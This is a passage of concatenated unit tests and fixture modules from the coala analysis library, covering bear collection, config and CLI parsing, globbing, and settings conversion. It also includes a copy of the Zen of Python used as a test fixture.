                                              "others",
                                              "c_files")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "others",
                                              "py_files")),
                os.path.normcase(self.collectors_test_dir+os.sep)]))

    def test_ignored(self):
        self.assertEqual(
            sorted(i for i in
                   collect_dirs([os.path.join(self.collectors_test_dir,
                                              "**")],
                                [os.path.normcase(os.path.join(
                                    self.collectors_test_dir,
                                    "others",
                                    "py_files"))])
                   if "__pycache__" not in i),

            sorted([os.path.normcase(os.path.join(
                self.collectors_test_dir, "bears")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "bears_local_global")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "others")),
                os.path.normcase(os.path.join(self.collectors_test_dir,
                                              "others",
                                              "c_files")),
                os.path.normcase(self.collectors_test_dir+os.sep)]))

    def test_collect_registered_bears_dirs(self):
        old_iter = pkg_resources.iter_entry_points

        def test_iter_entry_points(name):
            assert name == "hello"

            class EntryPoint1:

                @staticmethod
                def load():
                    class PseudoPlugin:
                        __file__ = "/path1/file1"
                    return PseudoPlugin()

            class EntryPoint2:

                @staticmethod
                def load():
                    raise pkg_resources.DistributionNotFound

            return iter([EntryPoint1(), EntryPoint2()])

        pkg_resources.iter_entry_points = test_iter_entry_points
        output = sorted(collect_registered_bears_dirs("hello"))
        self.assertEqual(output, [os.path.abspath("/path1")])
        pkg_resources.iter_entry_points = old_iter


class CollectBearsTest(unittest.TestCase):

    def setUp(self):
        current_dir = os.path.split(__file__)[0]
        self.collectors_test_dir = os.path.join(current_dir,
                                                "collectors_test_dir")

        self.log_printer = LogPrinter(ConsolePrinter())

    def test_bear_empty(self):
        self.assertRaises(TypeError, collect_bears)

    def test_bear_invalid(self):
        with retrieve_stdout() as sio:
            self.assertEqual(collect_bears(["invalid_paths"],
                                           ["invalid_name"],
                                           ["invalid kind"],
                                           self.log_printer), ([],))
            self.assertRegex(sio.getvalue(),
                             ".*\\[WARNING\\].*No bears were found matching "
                             "'invalid_name'.\n")

        self.assertEqual(collect_bears(["invalid_paths"],
                                       ["invalid_name"],
                                       ["invalid kind1", "invalid kind2"],
                                       self.log_printer), ([], []))

    def test_simple_single(self):
        self.assertEqual(len(collect_bears(
            [os.path.join(self.collectors_test_dir, "bears")],
            ["bear1"],
            ["kind"],
            self.log_printer)[0]), 1)

    def test_string_single(self):
        self.assertEqual(len(collect_bears(
            os.path.join(self.collectors_test_dir, "bears"),
            ["bear1"],
            ["kind"],
            self.log_printer)[0]), 1)

    def test_reference_single(self):
        self.assertEqual(len(collect_bears(
            [os.path.join(self.collectors_test_dir, "bears")],
            ["metabear"],
            ["kind"],
            self.log_printer)[0]), 1)

    def test_no_duplications(self):
        self.assertEqual(len(collect_bears(
            [os.path.join(self.collectors_test_dir, "bears", "**")],
            ["*"],
            ["kind"],
            self.log_printer)[0]), 2)

    def test_wrong_kind(self):
        self.assertEqual(len(collect_bears(
            [os.path.join(self.collectors_test_dir, "bears", "**")],
            ["*"],
            ["other_kind"],
            self.log_printer)[0]), 0)

    def test_all_bears_from_sections(self):
        test_section = Section("test_section")
        test_section.bear_dirs = lambda: os.path.join(self.collectors_test_dir,
                                                      "bears_local_global",
                                                      "**")
        local_bears, global_bears = collect_all_bears_from_sections(
            {'test_section': test_section},
            self.log_printer)

        self.assertEqual(len(local_bears['test_section']), 2)
        self.assertEqual(len(global_bears['test_section']), 2)


class CollectorsTests(unittest.TestCase):

    def setUp(self):
        current_dir = os.path.split(__file__)[0]
        self.collectors_test_dir = os.path.join(current_dir,
                                                "collectors_test_dir")
        self.log_printer = LogPrinter(ConsolePrinter())

    def test_filter_section_bears_by_languages(self):
        test_section = Section("test_section")
        test_section.bear_dirs = lambda: os.path.join(self.collectors_test_dir,
                                                      "bears_local_global",
                                                      "**")
        local_bears, global_bears = collect_all_bears_from_sections(
            {'test_section': test_section},
            self.log_printer)
        local_bears = filter_section_bears_by_languages(local_bears, ['C'])
        self.assertEqual(len(local_bears['test_section']), 1)
        self.assertEqual(str(local_bears['test_section'][0]),
                         "<class 'bears2.Test2LocalBear'>")

        global_bears = filter_section_bears_by_languages(global_bears, ['Java'])
        self.assertEqual(len(global_bears['test_section']), 1)
        self.assertEqual(str(global_bears['test_section'][0]),
                         "<class 'bears1.Test1GlobalBear'>")

    def test_get_all_bears_names(self):
        with bear_test_module():
            self.assertSetEqual(
                set(get_all_bears_names()),
                {'EchoBear',
                 'LineCountTestBear',
                 'JavaTestBear',
                 'SpaceConsistencyTestBear'})






class test(list):

    def __init__(self, *args):
        list.__init__(self, *args)

    @staticmethod
    def method():
        pass

a = [1, 2, 3]
b = [1, 2, 4]

name = True






from file_one import test

a = test()

name = False






from coalib.bears.GlobalBear import GlobalBear
from coalib.bears.LocalBear import LocalBear


class Test2LocalBear(LocalBear):
    LANGUAGES = {'C', 'Java'}


class Test2GlobalBear(GlobalBear):
    LANGUAGES = {'C'}






from coalib.bears.GlobalBear import GlobalBear
from coalib.bears.LocalBear import LocalBear


class Test1LocalBear(LocalBear):
    pass


class Test1GlobalBear(GlobalBear):
    LANGUAGES = {'All'}






The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases arent special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless youre Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, its a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- lets do more of those!






from bear1 import TestBear as ImportedTestBear

__additional_bears__ = [ImportedTestBear]






from bear1 import TestBear as ImportedTestBear


class SubTestBear(ImportedTestBear):

    def __init__(self):
        ImportedTestBear.__init__(self)

    @staticmethod
    def kind():
        return "kind"

    def origin(self):
        return __file__






import multiprocessing

from coalib.bears.Bear import Bear
from coalib.settings.Section import Section


class TestBear(Bear):

    def __init__(self):
        Bear.__init__(self, Section("settings"), multiprocessing.Queue())

    @staticmethod
    def kind():
        return "kind"

    def origin(self):
        return __file__


class NoKind():

    def __init__(self):
        pass

    @staticmethod
    def kind():
        raise NotImplementedError


















import unittest

from coalib.parsing.LineParser import LineParser


class LineParserTest(unittest.TestCase):

    def setUp(self):
        self.uut = LineParser(comment_separators=('#', ';'))

    def test_empty_line(self):
        self.check_data_set("")
        self.check_data_set("\n \n \n")

    def test_comment_parsing(self):
        self.check_data_set("# comment only$§\n",
                            output_comment="# comment only$§")
        self.check_data_set("   ; comment only  \n",
                            output_comment="; comment only")
        self.check_data_set("   ; \\comment only  \n",
                            output_comment="; comment only")
        self.check_data_set("#", output_comment="#")

    def test_section_override(self):
        self.check_data_set(r"a.b, \a\.\b\ c=",
                            output_keys=[("a", "b"), ("", r"\a.\b c")])

    def test_escaping(self):
        self.check_data_set("hello = world\ # yes here's a space",
                            output_keys=[('', 'hello')],
                            output_value='world\\ ',
                            output_comment="# yes here's a space")

    def test_multi_value_parsing(self):
        self.check_data_set(
            "a, b\\ \\=, section.c= = :()&/ \\\\#heres a comment \n",
            output_section='',
            output_keys=[("", 'a'), ("", 'b ='), ("section", 'c')],
            output_value='= :()&/ \\\\',
            output_comment='#heres a comment')

    def test_multi_line_parsing(self):
        self.check_data_set(" a,b,d another value ",
                            output_value="a,b,d another value")
        self.check_data_set(" a,b,d\\= another value ",
                            output_value="a,b,d\\= another value")

    def test_section_name_parsing(self):
        self.check_data_set(" [   a section name   ]      # with comment   \n",
                            'a section name',
                            output_comment="# with comment")
        self.check_data_set(" [   a section name]   ]         \n",
                            'a section name]')
        self.check_data_set(" [   a section name\\]   ]         \n",
                            'a section name]')
        self.check_data_set(" [   a section name\\;   ]         \n",
                            'a section name;')

        self.uut.section_name_surroundings["Section:"] = ''
        self.check_data_set("[  sec]; thats a normal section",
                            output_section="sec",
                            output_comment="; thats a normal section")
        self.check_data_set("  Section:  sEc]\\\\; thats a new section",
                            output_section="sEc]\\",
                            output_comment="; thats a new section")
        self.check_data_set("  Section:  sec]\\\\\\\\; thats a new section",
                            output_section="sec]\\\\",
                            output_comment="; thats a new section")
        self.check_data_set("  Section:  sec]\\\\\\; thats a new section",
                            output_section="sec]\\; thats a new section")

    def check_data_set(self,
                       line,
                       output_section="",
                       output_keys=None,
                       output_value='',
                       output_comment=''):
        output_keys = output_keys or []

        section_name, keys, value, comment = self.uut.parse(line)

        self.assertEqual(section_name, output_section)
        self.assertEqual(keys, output_keys)
        self.assertEqual(value, output_value)
        self.assertEqual(comment, output_comment)






import os
import tempfile
import unittest
from collections import OrderedDict

from coalib.parsing.ConfParser import ConfParser
from coalib.settings.Section import Section


class ConfParserTest(unittest.TestCase):
    example_file = """to be ignored
    a_default, another = val
    TEST = tobeignored  # do you know that thats a comment
    test = push
    t =
    escaped_\\=equal = escaped_\\#hash
    escaped_\\\\backslash = escaped_\\ space
    escaped_\\,comma = escaped_\\.dot
    [MakeFiles]
     j  , another = a
                   multiline
                   value
    # just a omment
    # just a omment
    nokey. = value
    default.test = content
    makefiles.lastone = val

    [EMPTY_ELEM_STRIP]
    A = a, b, c
    B = a, ,, d
    C = ,,,
    """

    def setUp(self):
        self.tempdir = tempfile.gettempdir()
        self.file = os.path.join(self.tempdir, ".coafile")
        self.nonexistentfile = os.path.join(self.tempdir, "e81k7bd98t")
        with open(self.file, "w") as file:
            file.write(self.example_file)

        self.uut = ConfParser()
        try:
            os.remove(self.nonexistentfile)
        except FileNotFoundError:
            pass

        self.sections = self.uut.parse(self.file)

    def tearDown(self):
        os.remove(self.file)

    def test_parse_nonexisting_file(self):
        self.assertRaises(FileNotFoundError,
                          self.uut.parse,
                          self.nonexistentfile)
        self.assertNotEqual(self.uut.parse(self.file, True), self.sections)

    def test_parse_nonexisting_section(self):
        self.assertRaises(IndexError,
                          self.uut.get_section,
                          "inexistent section")

    def test_parse_default_section(self):
        default_should = OrderedDict([
            ('a_default', 'val'),
            ('another', 'val'),
            ('comment0', '# do you know that thats a comment'),
            ('test', 'content'),
            ('t', ''),
            ('escaped_=equal', 'escaped_#hash'),
            ('escaped_\\backslash', 'escaped_ space'),
            ('escaped_,comma', 'escaped_.dot')])

        key, val = self.sections.popitem(last=False)
        self.assertTrue(isinstance(val, Section))
        self.assertEqual(key, 'default')

        is_dict = OrderedDict()
        for k in val:
            is_dict[k] = str(val[k])
        self.assertEqual(is_dict, default_should)

    def test_parse_makefiles_section(self):
        makefiles_should = OrderedDict([
            ('j', 'a\nmultiline\nvalue'),
            ('another', 'a\nmultiline\nvalue'),
            ('comment1', '# just a omment'),
            ('comment2', '# just a omment'),
            ('lastone', 'val'),
            ('comment3', ''),
            ('a_default', 'val'),
            ('comment0', '# do you know that thats a comment'),
            ('test', 'content'),
            ('t', ''),
            ('escaped_=equal', 'escaped_#hash'),
            ('escaped_\\backslash', 'escaped_ space'),
            ('escaped_,comma', 'escaped_.dot')])

        # Pop off the default section.
        self.sections.popitem(last=False)

        key, val = self.sections.popitem(last=False)
        self.assertTrue(isinstance(val, Section))
        self.assertEqual(key, 'makefiles')

        is_dict = OrderedDict()
        for k in val:
            is_dict[k] = str(val[k])
        self.assertEqual(is_dict, makefiles_should)

        self.assertEqual(val["comment1"].key, "comment1")

    def test_parse_empty_elem_strip_section(self):
        empty_elem_strip_should = OrderedDict([
            ('a', 'a, b, c'),
            ('b', 'a, ,, d'),
            ('c', ',,,'),
            ('comment4', ''),
            ('a_default', 'val'),
            ('another', 'val'),
            ('comment0', '# do you know that thats a comment'),
            ('test', 'content'),
            ('t', ''),
            ('escaped_=equal', 'escaped_#hash'),
            ('escaped_\\backslash', 'escaped_ space'),
            ('escaped_,comma', 'escaped_.dot')])

        # Pop off the default and makefiles section.
        self.sections.popitem(last=False)
        self.sections.popitem(last=False)

        key, val = self.sections.popitem(last=False)
        self.assertTrue(isinstance(val, Section))
        self.assertEqual(key, 'empty_elem_strip')

        is_dict = OrderedDict()
        for k in val:
            is_dict[k] = str(val[k])
        self.assertEqual(is_dict, empty_elem_strip_should)

    def test_remove_empty_iter_elements(self):
        # Test with empty-elem stripping.
        uut = ConfParser(remove_empty_iter_elements=True)
        uut.parse(self.file)
        self.assertEqual(list(uut.get_section("EMPTY_ELEM_STRIP")["A"]),
                         ["a", "b", "c"])
        self.assertEqual(list(uut.get_section("EMPTY_ELEM_STRIP")["B"]),
                         ["a", "d"])
        self.assertEqual(list(uut.get_section("EMPTY_ELEM_STRIP")["C"]),
                         [])

        # Test without stripping.
        uut = ConfParser(remove_empty_iter_elements=False)
        uut.parse(self.file)
        self.assertEqual(list(uut.get_section("EMPTY_ELEM_STRIP")["A"]),
                         ["a", "b", "c"])
        self.assertEqual(list(uut.get_section("EMPTY_ELEM_STRIP")["B"]),
                         ["a", "", "", "d"])
        self.assertEqual(list(uut.get_section("EMPTY_ELEM_STRIP")["C"]),
                         ["", "", "", ""])

    def test_config_directory(self):
        self.uut.parse(self.tempdir)












import argparse
import unittest

from coalib.parsing.CliParsing import parse_cli, check_conflicts


class CliParserTest(unittest.TestCase):

    def setUp(self):
        self.test_arg_parser = argparse.ArgumentParser()
        self.test_arg_parser.add_argument('-t', nargs='+', dest='test')
        self.test_arg_parser.add_argument('-S',
                                          '--settings',
                                          nargs='+',
                                          dest='settings')

    @staticmethod
    def dict_from_sections(parsed_sections):
        parsed_dict = {}
        for section_name, section in parsed_sections.items():
            parsed_dict[section_name] = (
                set([(key,
                      str(value)) for key, value in section.contents.items()]))
        return parsed_dict

    def test_parse_cli(self):
        # regular parse
        parsed_sections = parse_cli(
            ['-t', 'ignored1', 'ignored2',
             '-t', 'taken',
             '-S', 'section1.key1,section2.key2=value1,value2',
             'section2.key2=only_this_value',
             'SECTION2.key2a=k2a',
             'invalid.=shouldnt_be_shown',
             '.=not_either',
             '.key=only_in_default',
             'default_key1,default_key2=single_value',
             'default_key3=first_value,second_value'],
            arg_parser=self.test_arg_parser)
        expected_dict = {
            'default': {
                ("test", "taken"),
                ("key", "only_in_default"),
                ("default_key1", "single_value"),
                ("default_key2", "single_value"),
                ("default_key3", "first_value,second_value")},
            'section1': {
                ("key1", "value1,value2")},
            'section2': {
                ("key2", "only_this_value"),
                ("key2a", "k2a")}}
        self.assertEqual(parsed_sections["default"].name, "Default")
        self.assertEqual(self.dict_from_sections(parsed_sections),
                         expected_dict)

    def test_check_conflicts(self):
        sections = parse_cli(arg_list=["--save", "--no-config"])
        with self.assertRaises(SystemExit) as cm:
            check_conflicts(sections)
            self.assertEqual(cm.exception.code, 2)

        sections = parse_cli(arg_list=["--no-config", "-S", "val=42"])
        self.assertTrue(check_conflicts(sections))






import argparse
import re
import unittest

from coalib.parsing.DefaultArgParser import CustomFormatter


class CustomFormatterTest(unittest.TestCase):

    def setUp(self):
        arg_parser = argparse.ArgumentParser(formatter_class=CustomFormatter)
        arg_parser.add_argument('-a',
                                '--all',
                                nargs='?',
                                const=True,
                                metavar='BOOL')
        arg_parser.add_argument('TARGETS',
                                nargs='*')
        self.output = arg_parser.format_help()

    def test_metavar_in_usage(self):
        match = re.search(r'usage:.+(-a \[BOOL\]).+\n\n',
                          self.output,
                          flags=re.DOTALL)
        self.assertIsNotNone(match)
        self.assertEquals(match.group(1), '-a [BOOL]')

    def test_metavar_not_in_optional_args_sections(self):
        match = re.search('optional arguments:.+(-a, --all).*',
                          self.output,
                          flags=re.DOTALL)
        self.assertIsNotNone(match)
        self.assertEquals(match.group(1), '-a, --all')






"""
Tests Globbing and related functions

Test Files are local and permanent and organized as follows:

GlobTestDir
├── SubDir1
│   ├── File11.py
│   └── File12.py
│ SubDir2
│   ├── File(with)parentheses.txt
│   └── File[with]brackets.txt
├── File1.x
├── File2.y
└── File3.z
"""
import os
import re
import unittest

from coalib.parsing.Globbing import (
    _iter_alternatives, _iter_choices, _position_is_bracketed, fnmatch, glob,
    glob_escape)


class TestFiles:
    """
    Testfiles to check glob patterns on
    """
    glob_test_root = os.path.split(__file__)[0]
    glob_test_dir = os.path.join(glob_test_root, 'GlobTestDir')
    dir1 = os.path.join(glob_test_dir, 'SubDir1')
    file11 = os.path.join(dir1, 'File11.py')
    file12 = os.path.join(dir1, 'File12.py')
    dir2 = os.path.join(glob_test_dir, 'SubDir2')
    file_paren = os.path.join(dir2, 'File(with)parentheses.txt')
    file_brack = os.path.join(dir2, 'File[with]brackets.txt')
    file1 = os.path.join(glob_test_dir, 'File1.x')
    file2 = os.path.join(glob_test_dir, 'File2.y')
    file3 = os.path.join(glob_test_dir, 'File3.z')


class GlobbingHelperFunctionsTest(unittest.TestCase):

    def test_positions(self):
        # pattern: [bracketed values]
        pattern_positions_dict = {
            "[]": [],
            "[a]": [1],
            "[][]": [1, 2],
            "[]]]": [1],
            "[[[]": [1, 2],
            "[[[][]]]": [1, 2, 5],
            "][": [],
            "][][": [],
            "[!]": [],
            "[!c]": [1, 2],
            "[!": []
            }
        for pattern, bracketed_positions in pattern_positions_dict.items():
            for pos in range(len(pattern)):
                if pos in bracketed_positions:
                    self.assertTrue(_position_is_bracketed(pattern, pos))
                else:
                    self.assertFalse(_position_is_bracketed(pattern, pos))

    def test_choices(self):
        # pattern: [choices]
        pattern_choices_dict = {
            "": [""],
            "a": ["a"],
            "a|b": ["a", "b"],
            "a|b|c": ["a", "b", "c"],
            "a|b[|]c": ["a", "b[|]c"],
            "a|[b|c]": ["a", "[b|c]"],
            "a[|b|c]": ["a[|b|c]"],
            "[a|b|c]": ["[a|b|c]"],
            "[a]|[b]|[c]": ["[a]", "[b]", "[c]"],
            "[[a]|[b]|[c]": ["[[a]", "[b]", "[c]"]
            }
        for pattern, choices in pattern_choices_dict.items():
            self.assertEqual(list(_iter_choices(pattern)), choices)

    def test_alternatives(self):
        # pattern: [alternatives]
        pattern_alternatives_dict = {
            "": [""],
            "(ab)": ["ab"],
            "a|b": ["a|b"],
            "()": [""],
            "(|)": [""],
            "(a|b)": ["a", "b"],
            "(a|b|c)": ["a", "b", "c"],
            "a(b|c)": ["ab", "ac"],
            "(a|b)(c|d)": ["ac", "ad", "bc", "bd"],
            "(a|b(c|d)": ["(a|bc", "(a|bd"],
            "(a[|]b)": ["a[|]b"],
            "[(]a|b)": ["[(]a|b)"],
            }
        for pattern, alternatives in pattern_alternatives_dict.items():
            self.assertEqual(sorted(list(_iter_alternatives(pattern))),
                             sorted(alternatives))


class GlobEscapeTest(unittest.TestCase):

    def test_glob_escape(self):
        input_strings = [
            "test",
            "test[",
            "test []",
            "test [[]",
            "test ]] str [",
            "test[][]",
            "test(",
            "test)",
            "test()",
            "test (1)"]
        output_strings = [
            "test",
            "test[[]",
            "test [[][]]",
            "test [[][[][]]",
            "test []][]] str [[]",
            "test[[][]][[][]]",
            "test[(]",
            "test[)]",
            "test[(][)]",
            "test [(]1[)]"]
        for unescaped_str, escaped_str in zip(input_strings, output_strings):
            self.assertEqual(glob_escape(unescaped_str), escaped_str)


class FnmatchTest(unittest.TestCase):

    def _test_fnmatch(self, pattern, matches, non_matches):
        for match in matches:
            self.assertTrue(fnmatch(match, pattern))
        for non_match in non_matches:
            self.assertFalse(fnmatch(non_match, pattern))

    def test_circumflex_in_set(self):
        pattern = "[^abc]"
        matches = ["^", "a", "b", "c"]
        non_matches = ["d", "e", "f", "g"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_negative_set(self):
        pattern = "[!ab]"
        matches = ["c", "d"]
        non_matches = ["a", "b"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_escaped_bracket(self):
        pattern = "[]ab]"
        matches = ["]", "a", "b"]
        non_matches = ["[]ab]", "ab]"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_empty_set(self):
        pattern = "a[]b"
        matches = ["a[]b"]
        non_matches = ["a", "b", "[", "]", "ab"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_home_dir(self):
        pattern = os.path.join("~", "a", "b")
        matches = [os.path.expanduser(os.path.join("~", "a", "b"))]
        non_matches = [os.path.join("~", "a", "b")]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_alternatives(self):
        pattern = "(a|b)"
        matches = ["a", "b"]
        non_matches = ["(a|b)", "a|b"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_set_precedence(self):
        pattern = "(a|[b)]"
        matches = ["(a|b", "(a|)"]
        non_matches = ["a]", "[b]"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_questionmark(self):
        pattern = "a?b"
        matches = ["axb", "ayb"]
        non_matches = ["ab", "aXXb"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_asterisk(self):
        pattern = "a*b"
        matches = ["axb", "ayb"]
        non_matches = ["aXbX", os.path.join("a", "b")]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_double_asterisk(self):
        pattern = "a**b"
        matches = ["axb", "ayb", os.path.join("a", "b")]
        non_matches = ["aXbX"]
        self._test_fnmatch(pattern, matches, non_matches)

    def test_multiple_patterns(self):
        pattern = ["a**b", "a**c"]
        matches = ["axb", "axc"]
        non_matches = ["aXbX", "aXcX"]
        self._test_fnmatch(pattern, matches, non_matches)

        pattern = []
        matches = ["anything", "anything_else"]
        non_matches = []
        self._test_fnmatch(pattern, matches, non_matches)


class GlobTest(unittest.TestCase):

    def setUp(self):
        self.maxDiff = None

    def _test_glob(self, pattern, file_list):
        results = sorted([os.path.normcase(g) for g in glob(pattern)])
        file_list = sorted([os.path.normcase(f) for f in file_list])
        self.assertEqual([i for i in results
                          if re.search(r"(__pycache__|\.pyc)", i) is None],
                         file_list)

    def test_collect_files(self):
        pattern = os.path.join(TestFiles.glob_test_dir, 'Sub*', 'File1?.py')
        file_list = [TestFiles.file11, TestFiles.file12]
        self._test_glob(pattern, file_list)

    def test_collect_dirs(self):
        pattern = os.path.join(TestFiles.glob_test_dir, 'Sub*' + os.sep)
        file_list = [TestFiles.dir1+os.sep, TestFiles.dir2+os.sep]
        self._test_glob(pattern, file_list)

    def test_collect_specific_dir(self):
        pattern = os.path.join(TestFiles.dir1 + os.sep)
        file_list = [TestFiles.dir1+os.sep]
        self._test_glob(pattern, file_list)

    def test_collect_flat(self):
        pattern = os.path.join(TestFiles.glob_test_dir, '*')
        file_list = [TestFiles.dir1,
                     TestFiles.dir2,
                     TestFiles.file1,
                     TestFiles.file2,
                     TestFiles.file3]
        self._test_glob(pattern, file_list)

    def test_collect_all(self):
        pattern = os.path.join(TestFiles.glob_test_dir, '**', '*')
        file_list = [TestFiles.dir1,
                     TestFiles.dir2,
                     TestFiles.file1,
                     TestFiles.file2,
                     TestFiles.file3,
                     TestFiles.file11,
                     TestFiles.file12,
                     TestFiles.file_paren,
                     TestFiles.file_brack]
        self._test_glob(pattern, file_list)

    def test_collect_basename(self):
        pattern = TestFiles.glob_test_dir
        file_list = [TestFiles.glob_test_dir]
        self._test_glob(pattern, file_list)

    def test_collect_none(self):
        pattern = ''
        file_list = []
        self._test_glob(pattern, file_list)

    def test_collect_specific(self):
        pattern = os.path.join(TestFiles.file12)
        file_list = [TestFiles.file12]
        self._test_glob(pattern, file_list)

    def test_collect_parentheses(self):
        pattern = os.path.join(TestFiles.glob_test_dir,
                               'SubDir[12]',
                               'File[(]with)parentheses.txt')
        file_list = [TestFiles.file_paren]
        self._test_glob(pattern, file_list)

    def test_collect_brackets(self):
        pattern = os.path.join(TestFiles.glob_test_dir,
                               'SubDir[12]',
                               'File[[]with[]]brackets.txt')
        file_list = [TestFiles.file_brack]
        self._test_glob(pattern, file_list)

    def test_collect_or(self):
        pattern = os.path.join(TestFiles.glob_test_dir, "File?.(x|y|z)")
        file_list = [TestFiles.file1, TestFiles.file2, TestFiles.file3]
        self._test_glob(pattern, file_list)

    def test_wildcard_dir(self):
        pattern = os.path.join(TestFiles.glob_test_dir, "SubDir?", "File11.py")
        file_list = [TestFiles.file11]
        self._test_glob(pattern, file_list)

    def test_collect_recursive(self):
        pattern = os.path.join(TestFiles.glob_test_dir, "**", "*")
        file_list = [TestFiles.file1,
                     TestFiles.file2,
                     TestFiles.file3,
                     TestFiles.file11,
                     TestFiles.file12,
                     TestFiles.file_paren,
                     TestFiles.file_brack,
                     TestFiles.dir1,
                     TestFiles.dir2]
        self._test_glob(pattern, file_list)

    def test_collect_recursive_part_of_basename(self):
        pattern = os.path.join(TestFiles.glob_test_dir, "**.(py|[xy])")
        file_list = [TestFiles.file11,
                     TestFiles.file12,
                     TestFiles.file1,
                     TestFiles.file2]
        self._test_glob(pattern, file_list)

    def test_collect_invalid(self):
        pattern = "NOPE"
        file_list = []
        self._test_glob(pattern, file_list)

    def test_no_dirname_recursive(self):
        old_curdir = os.curdir
        os.curdir = TestFiles.glob_test_dir
        pattern = '**'
        file_list = [TestFiles.file1,
                     TestFiles.file2,
                     TestFiles.file3,
                     TestFiles.file11,
                     TestFiles.file12,
                     TestFiles.file_paren,
                     TestFiles.file_brack,
                     TestFiles.dir1,
                     TestFiles.dir2]
        results = sorted([os.path.normcase(os.path.join(os.curdir, g))
                          for g in glob(pattern)])
        file_list = sorted([os.path.normcase(f) for f in file_list])
        self.assertEqual([i for i in results
                          if re.search(r"(__pycache__|\.pyc)", i) is None],
                         file_list)
        os.curdir = old_curdir

    def test_no_dirname(self):
        old_curdir = os.curdir
        os.curdir = TestFiles.glob_test_dir
        pattern = '*Dir?'
        file_list = [TestFiles.dir1,
                     TestFiles.dir2]
        results = sorted([os.path.normcase(os.path.join(os.curdir, g))
                          for g in glob(pattern)])
        file_list = sorted([os.path.normcase(f) for f in file_list])
        self.assertEqual(results, file_list)
        os.curdir = old_curdir


















import os
import re
import unittest
from collections import OrderedDict

from coalib.settings.Setting import (
    Setting, path, path_list, url, typed_dict, typed_list, typed_ordered_dict,
    glob, glob_list)
from coalib.parsing.Globbing import glob_escape


class SettingTest(unittest.TestCase):

    def test_construction(self):
        self.assertRaises(ValueError, Setting, "", 2, 2)
        self.assertRaises(TypeError, Setting, "", "", "", from_cli=5)

    def test_path(self):
        self.uut = Setting("key", " 22\n", "." + os.path.sep, True)
        self.assertEqual(path(self.uut),
                         os.path.abspath(os.path.join(".", "22")))

        abspath = os.path.abspath(".")
        self.uut = Setting("key", re.escape(abspath))
        self.assertEqual(path(self.uut), abspath)

        self.uut = Setting("key", " 22", "")
        self.assertRaises(ValueError, path, self.uut)
        self.assertEqual(path(self.uut,
                              origin="test" + os.path.sep),
                         os.path.abspath(os.path.join("test", "22")))

    def test_glob(self):
        self.uut = Setting("key", ".",
                           origin=os.path.join("test (1)", "somefile"))
        self.assertEqual(glob(self.uut),
                         glob_escape(os.path.abspath("test (1)")))

    def test_path_list(self):
        abspath = os.path.abspath(".")
        # Need to escape backslashes since we use list conversion
        self.uut = Setting("key", "., " + abspath.replace("\\", "\\\\"),
                           origin=os.path.join("test", "somefile"))
        self.assertEqual(path_list(self.uut),
                         [os.path.abspath(os.path.join("test", ".")), abspath])

    def test_url(self):
        uut = Setting("key", "http://google.com")
        self.assertEqual(url(uut), "http://google.com")

        with self.assertRaises(ValueError):
            uut = Setting("key", "abc")
            url(uut)

    def test_glob_list(self):
        abspath = glob_escape(os.path.abspath("."))
        # Need to escape backslashes since we use list conversion
        self.uut = Setting("key", "., " + abspath.replace("\\", "\\\\"),
                           origin=os.path.join("test (1)", "somefile"))
        self.assertEqual(
            glob_list(self.uut),
            [glob_escape(os.path.abspath(os.path.join("test (1)", "."))),
             abspath])

    def test_typed_list(self):
        self.uut = Setting("key", "1, 2, 3")
        self.assertEqual(typed_list(int)(self.uut),
                         [1, 2, 3])

        with self.assertRaises(ValueError):
            self.uut = Setting("key", "1, a, 3")
            typed_list(int)(self.uut)

    def test_typed_dict(self):
        self.uut = Setting("key", "1, 2: t, 3")
        self.assertEqual(typed_dict(int, str, None)(self.uut),
                         {1: None, 2: "t", 3: None})

        with self.assertRaises(ValueError):
            self.uut = Setting("key", "1, a, 3")
            typed_dict(int, str, "")(self.uut)

    def test_typed_ordered_dict(self):
        self.uut = Setting("key", "1, 2: t, 3")
        self.assertEqual(typed_ordered_dict(int, str, None)(self.uut),
                         OrderedDict([(1, None), (2, "t"), (3, None)]))

        with self.assertRaises(ValueError):
            self.uut = Setting("key", "1, a, 3")
            typed_ordered_dict(int, str, "")(self.uut)

    def test_inherited_conversions(self):
        self.uut = Setting("key", " 22\n", ".", True)
        self.assertEqual(str(self.uut), "22")
        self.assertEqual(int(self.uut), 22)
        self.assertRaises(ValueError, bool, self.uut)






import unittest

from coalib.settings.FunctionMetadata import FunctionMetadata
from coalib.settings.Section import Section
from coalib.settings.Setting import Setting


class TestClass:

    def __init__(self, param1, param2, param3=5, param4: int=6):
        """
        Description

        :param param2: d
        :param param4: p4 desc
        :return:       ret
        """

    def good_function(self, a_param: int):
        pass

    def bad_function(self, bad_param: "no function"):
        pass


class FunctionMetadataTest(unittest.TestCase):

    def test_construction(self):
        self.check_function_metadata_data_set(FunctionMetadata("name"), "name")

    def test_from_function(self):
        uut = FunctionMetadata.from_function(self.test_from_function)
        self.check_function_metadata_data_set(uut, "test_from_function")
        # setattr on bound methods will fail, vars() will use the dict from
        # the unbound method which is ok.
        vars(self.test_from_function)["__metadata__"] = (
            FunctionMetadata("t"))
        uut = FunctionMetadata.from_function(self.test_from_function)
        self.check_function_metadata_data_set(uut, "t")

        uut = FunctionMetadata.from_function(TestClass(5, 5).__init__)
        self.check_function_metadata_data_set(
            uut,
            "__init__",
            desc="Description",
            retval_desc="ret",
            non_optional_params={
                "param1": (uut.str_nodesc, None),
                "param2": ("d", None)
            },
            optional_params={
                "param3": (uut.str_nodesc + " ("
                           + uut.str_optional.format("5") + ")",
                           None, 5),
                "param4": ("p4 desc ("
